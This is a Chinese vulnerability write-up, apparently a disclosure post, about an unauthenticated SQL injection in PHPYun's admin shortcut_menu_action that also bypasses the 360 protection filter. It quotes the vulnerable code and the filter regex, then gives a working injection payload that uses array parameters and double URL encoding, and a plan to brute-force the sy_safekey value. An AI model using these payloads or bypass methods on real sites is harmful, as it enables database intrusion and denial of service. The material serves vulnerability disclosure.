phpyun绕过360艰难的SQL注射

漏洞作者: Map

我首先发现了一个SQL注射,这个过程也不轻松。

在phpyun/model/class/action.class.php中

[php]

function get_admin_user_shell(){

if($_SESSION['auid'] && $_SESSION['ashell']){

$row=$this->admin_get_user_shell($_SESSION['auid'],$_SESSION['ashell']);

if(!$row){$this->logout();echo "无权操作!";die;}

if($_GET['m']=="" || $_GET['m']=="index" || $_GET['m']=="ajax" || $_GET['m']=="admin_nav"){$_GET['m']="admin_right";}

$c=$_GET['c'];$m=$_GET['m'];

if($_GET['m']!="admin_right"){

$url=$_GET['m']=="cache"?"index.php?m=".$m."&c=".$c:"index.php?m=".$m;

$nav=$this->get_shell($row["m_id"],$url);

if(!$nav){$this->logout();echo "无权操作!";die;}

}

}else{

if($_GET['m']!=""){

$this->logout();

echo "无权操作!";die;

}

}

}

[/php]

注意那句

if($_GET['m']!=""){

没错,只要m为空,那么这个后台的操作是可以被任何人操作的,正好,有一个操作就存在SQL注射漏洞。

在/phpyun/admin/model/index.class.php中的代码里

[php]

function shortcut_menu_action(){

if($_POST['chk_value']){

$this->obj->DB_update_all("admin_navigation","`menu`='1'","`menu`='2'");

echo "`id` in(".@implode(',',$_POST['chk_value']).")";

$this->obj->DB_update_all("admin_navigation","`menu`='2'","`id` in(".@implode(',',$_POST['chk_value']).")");

echo 1;die;

}

}

[/php]

 

$_POST['chk_value']直接来自POST,直接进入了SQL语句。

但是如果你想POST内容,那么你还需要pytoken,这个又怎么拿到呢。

[php]

function admin(){

$r=$this->obj->get_admin_user_shell();

$this->registrs();

if($_POST){

if($_POST['pytoken']!=$_SESSION['pytoken']){

unset($_POST['pytoken']);

$this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']);

}

}

if(!$_SESSION['pytoken']){

$_SESSION['pytoken'] = substr(md5(uniqid().$_SESSION['auid'].$_SESSION['ausername'].$_SESSION['ashell']), 8, 12);

}

$this->yunset('pytoken',$_SESSION['pytoken']);

 

 

}

[/php]

注意这一句

[php]

if($_POST['pytoken']!=$_SESSION['pytoken']){

unset($_POST['pytoken']);

$this->obj->ACT_layer_msg("来源地址非法!",3,$this->config['sy_weburl']);

}

[/php]

不过这个没问题,在登陆的页面就有,访问:http://localhost:8038/phpyun/admin/就可以取到。

1417421073671ff14c7c3e23ad88fe9137a446c3

 

 

好,接下来就是最糟糕的地方了,360的防御。

14174421fb1d0ea62312f21d04b01cbcefab453c

 

 

我们试试最简单的 or 1=1 吧,看,360出来了(我把360的iframe页面修改成了echo 出来360几个字符了)。

查看data/db.safety.php会找到相应的代码,怎么bypass呢?

[php]

$postfilter = "<.*=(&#\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\\(\d+?|sleep\s*?\\([\d\.]+?\\)|load_file\s*?\\()|<[^>]*?\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.+?\\*\\/|\\/\\*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT(\\(.+\\)|\\s+?.+?)|UPDATE(\\(.+\\)|\\s+?.+?)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?)FROM(\\(.+\\)|\\s+?.+?)|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";

[/php]

怎么绕过呢,简单来说,只需要是多个数组就可以绕过了。

14175036ff214ce8b9f1b977ee03c66a04c19542

 

 

看,出现了新的情况,or被替换成了Or。

这部分的代码在:

[php]

function gpc2sql($str) {

 

if(preg_match("/select|insert|update|delete|union|into|load_file|outfile/is", $str))

{

exit(safe_pape());

}

$arr=array(" and "=>" an d "," or "=>" Or ","%20"=>"","select"=>"Select","update"=>"Update","count"=>"Count","chr"=>"Chr","truncate"=>"Truncate","union"=>"Union","delete"=>"Delete","insert"=>"Insert");

foreach($arr as $key=>$v){

$str = preg_replace('/'.$key.'/isU',$v,$str);

}

[/php]

 

如何避免被替换呢,有两个方法。

1,"%20"=>""

看,%20被替换成空了,我们只需要提交

chk_value[]=1) o%2520r /*&chk_value[]=*/1=1#&pytoken=9a54d50f315b

%2520会被webserver转换成%20,%20就会被删除,留下的就是or了。

141753358eea780eea36215fa56675e3988fb247

 

 

由于or和and在%20的数组之前,我们才可以这么做的,但是select是不可以的,所以可以试试方法2

if($config['sy_istemplate']!='1' || md5(md5($config['sy_safekey']).$_GET['m'])!=$_POST['safekey'])

只需要知道sy_safekey,就可以实现SQL注射,sy_safekey怎么生成的。

$r=rand(10000000,99999999);

mysql_query("update $table_config set `config`='$r' where `name`='sy_safekey'");

 

漏洞证明:

如果我们想让服务器挂掉或者查询当前的数据库环境,很容易,我们可以很轻松的sleep或者获取当前运行的数据库信息了,这些不依赖select字符的事情我们都可以做了。
但是如果我们想做更多的事情,那么,我们就需要写个程序,post safekey到http://localhost:8038//phpyun/index.php?m=com&c=search&keyword=count,最多7999万次直到返回的count是count而不是Count,那么你就获取了sy_safekey,那么你就可以为所欲为了。

发表评论